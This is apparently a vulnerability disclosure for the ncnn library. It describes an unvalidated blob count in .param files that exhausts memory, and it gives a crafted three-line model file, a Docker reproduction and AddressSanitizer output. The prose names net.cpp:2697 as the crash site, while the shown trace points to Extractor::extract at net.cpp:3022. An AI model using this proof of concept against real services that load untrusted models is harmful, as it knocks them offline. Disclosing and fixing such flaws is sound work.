Unbounded Model Blob Allocation Causes Denial Of Service
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/net.cpp:2697 in Extractor::Extractor
Sanitizer verdict: specified RSS limit exceeded, currently set to soft_rss_limit_mb=200
Summary
The blob count in a text .param header is an unvalidated 32-bit integer that ncnn resizes two
separate vectors from: Net::load_param sizes d->blobs, and every Net::create_extractor()
sizes a fresh std::vector<Mat> of the same length. A three-line model file declaring a
million blobs therefore commits hundreds of megabytes before any inference happens, and the
amount is not bounded by the file's size. The proof of concept drives this through
benchncnn's param= argument; any consumer calling Net::load_param on an untrusted
.param is equally exposed.
Detail
The untrusted field is the second integer on the second line of the .param file. The only
check applied to it is a sign test:
// src/net.cpp:1322
// parse
int layer_count = 0;
int blob_count = 0;
SCAN_VALUE("%d", layer_count)
SCAN_VALUE("%d", blob_count)
if (layer_count <= 0 || blob_count <= 0)
{
NCNN_LOGE("invalid layer_count or blob_count");
return -1;
}
d->layers.resize((size_t)layer_count);
d->blobs.resize((size_t)blob_count);
blob_count is rejected when non-positive but accepted up to INT_MAX. It is never compared
against the number of blob names the layer lines actually mention, nor against the remaining
file length, so a file of a few dozen bytes can request 2147483647 Blob objects — each
carrying a std::string name and a Mat shape (src/blob.h:12-29).
The declared count is then re-used per extractor. Net::create_extractor() forwards
d->blobs.size(), and the constructor allocates a Mat for every one of them:
// src/net.cpp:2507
Extractor Net::create_extractor() const
{
return Extractor(this, d->blobs.size());
}
// src/net.cpp:2694
Extractor::Extractor(const Net* _net, size_t blob_count)
: d(new ExtractorPrivate(_net))
{
d->blob_mats.resize(blob_count);
d->opt = d->net->opt;
The PoC's crafted.param header is 1 1000000: one layer, one million blobs, with a single
Input data 0 1 data line naming exactly one of them. d->blobs.resize(1000000) runs at load
time, and benchncnn's warm-up call to create_extractor() (benchmark/benchncnn.cpp:112)
adds a second million-element allocation at src/net.cpp:2697. Under the run's 200 MB soft
RSS limit the process reaches 336 MB and is killed inside operator new on that resize; the
cost is per-extractor, so a server creating one extractor per request scales it with
concurrency.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-unbounded-model-blob-allocation-causes-denial-of-service && cd ncnn-poc-unbounded-model-blob-allocation-causes-denial-of-service
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > crafted.param <<'EOF'
7767517
1 1000000
Input data 0 1 data
EOF
docker build -t ncnn-asan .
docker run --rm --network none -e ASAN_OPTIONS=soft_rss_limit_mb=200 -v "$PWD:/poc" ncnn-asan \
/ncnn/build/benchmark/benchncnn 0 1 2 -1 0 param=crafted.param shape=[1,3,1,1]
AddressSanitizer output:
=================================================================
==1==ERROR: AddressSanitizer: specified RSS limit exceeded, currently set to soft_rss_limit_mb=200
#0 0x779a79b87f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x5df544972cfd in fastMalloc /ncnn/src/allocator.h:62
#2 0x5df544972cfd in ncnn::Mat::create(int, int, int, int, unsigned long, int, ncnn::Allocator*) /ncnn/src/mat.cpp:625
#3 0x5df544956a96 in ncnn::Mat::clone(ncnn::Allocator*) const /ncnn/src/mat.cpp:85
#4 0x5df544a13135 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:3022
#5 0x5df544a0d193 in ncnn::Extractor::extract(char const*, ncnn::Mat&, int) /ncnn/src/net.cpp:2841
#6 0x5df54490a84f in benchmark(char const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, ncnn::Option const&, char const*) /ncnn/benchmark/benchncnn.cpp:122
#7 0x5df544912eb8 in main /ncnn/benchmark/benchncnn.cpp:376
#8 0x779a7950e1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x779a7950e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x5df5449085c4 in _start (/ncnn/build/benchmark/benchncnn+0x2a05c4) (BuildId: a6c071b95ca7d23bb614b19f781e769f3f7d9429)
==1==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: rss-limit-exceeded ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 in posix_memalign
==1==ABORTING
Credit
Zheng Yu @ DepthFirst